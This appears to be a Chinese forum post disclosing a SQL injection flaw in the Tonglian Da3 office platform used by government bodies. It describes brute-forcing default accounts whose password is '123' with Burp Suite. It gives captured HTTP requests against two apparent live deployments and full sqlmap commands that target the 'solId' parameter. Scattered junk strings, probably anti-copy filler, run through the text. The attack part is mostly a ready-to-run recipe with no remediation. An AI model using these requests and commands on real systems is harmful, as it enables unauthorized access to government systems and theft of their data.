同联Da3协同办公平台前台通用sql injection漏洞

admin

! Q; F+ s5 S. o2 W

" \" T: } e: B1 t" g& `2 Y

) ~1 T+ L _9 f1 D; `; m2 f3 E 平台简介：

 

0 }' G$ S, m* R6 F; b$ P1 F

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
& a0 u; X4 E* V/ E1 W同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

1 |6 g3 e3 o; U. _0 y5 _

! E; O/ G: [7 [4 G8 ^! K  

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

" {! K5 n+ N# p/ q h2 Q) e

2 z- ~' [1 P( A! s6 U. i" U' m   ) N1 H% b1 P+ F% Q( B5 C ^. q' `

0 S% Z% L. \4 P S4 p3 f

( |, ?" ` Q' R' {$ t- ^ b2 U http://1.1.1.1:7197/cap-aco/#（案例2-） 3 M, V1 H- E: E' ?% |8 P& L

* z- O9 G% K1 V {! a B

. r6 i. x6 d- s) ]5 ? http://www.XXOO.com （案例1-官网网站） / n$ |- i* l3 [

8 y$ c5 s( t% x+ b: W* T: L

 

2 z0 W5 G2 m& L1 ]3 v: f 漏洞详情: $ K% J, ~ f2 R, s/ E- f! C

0 f: y( Y* v/ J1 Z, S, B2 M

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

f# b7 m, V/ d8 [! P

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： " O# [5 d6 S1 U% q

1 d0 q; e5 ?4 D# ^5 ^2 f* \  

$ i) d, d$ N# O# k

) m, Z2 O% C% s( R4 C4 K  

7 Q' y& n2 P- u( U! J3 j status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： + q6 K: p9 a& K) U. @

4 E# `! |% C: o4 i4 n, ^ 1、案例1-官方网站

, m2 j0 F* x8 u; W' P4 E

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 1 x2 n" c7 j/ l% F) _

' s& H/ ?2 S+ l4 h: |9 E

Host: www.XXOO.com * ^/ \( w, G, ?, e8 I( _: o) M5 l

* A D: T! h! u/ I2 b Proxy-Connection: Keep-Alive " G7 `' j, i; d! Y2 L

, c# t8 M& |+ ] Accept: application/json, text/javascript, */*; q=0.01 ) k8 W. e$ W0 f: `9 m; u: {

9 ?' _9 T4 K/ u% M9 G! c2 g

Accept-Language: zh-CN

" K2 ^6 o! T1 m Content-Type: application/json . J8 [$ Q- ?) X0 I

7 m8 o% q" d. s" Q+ s, u5 l

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko ' ^5 u9 S3 A/ |) [8 s

& [, `, E2 s8 ~4 G0 z8 n: d

X-Requested-With: XMLHttpRequest : I6 ~2 h+ e1 K8 b8 }

. d4 [/ o/ v0 u& A* g Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 ( ^! C& a# i! w# F9 S

" i5 O; @( h4 M, _0 ]2 s1 _, D4 C

5 ? [0 W) u" l Accept-Encoding: gzip, deflate, sdch 8 w/ b& ?2 D; F+ Q. k+ k5 c7 G

9 [7 _6 J( U, Z2 t- y

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

X* R$ d2 l3 S

& ?; L- z) c8 a  

 

) ~8 r0 r+ v; D- A% k" N

  3 }5 o! W" W0 w/ ]! |

* u2 U, M. N+ F

# h4 w+ b6 H* @; l5 o; A! V' I* [5 z   2 _! p& L0 U2 d4 ^; ^4 O4 v7 o; X

7 T: Z2 U: h: a0 X   7 L. E6 V- N) D/ C

2、案例2-某天河云平台 ) s7 K. k/ u. p4 j$ A

. Q' c; G+ d6 O- g. v4 _

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

) J6 K% ]' T, e# G$ H; G o" T; B Host: 1.1.1.:7197 1 N1 H+ m1 M* @1 @$ A

, ^; H' K ?6 {

Accept: application/json, text/javascript, */*; q=0.01 : d; s3 C- p9 i3 B

* V' }$ }1 _8 a+ X* Q X-Requested-With: XMLHttpRequest

. V0 ^9 a) }7 E5 N3 C User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 1 q4 W2 [8 y8 d3 c1 O1 @8 y

# l% t8 f/ p, I: A! H. I

" E5 u w; R, |) }" k# B Content-Type: application/json

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 7 p" Q/ t5 [; b6 n1 X

# f3 a4 l2 b' [: z/ Z2 y( Q9 b

% X# y, i6 E8 Q8 x) C) \7 i6 r6 q Accept-Language: zh-CN,zh;q=0.8 " n$ t3 g6 l# V4 o% N

: ~, j6 J. n, f4 a Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

Connection: close

9 n* z0 u a4 Z1 {

& N$ I; d) N- v* Z" K; R b 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 4 N e: v! T' c

& x. C) K R. h/ U, i o  

% e7 E2 w% k, x8 y' x% G) Z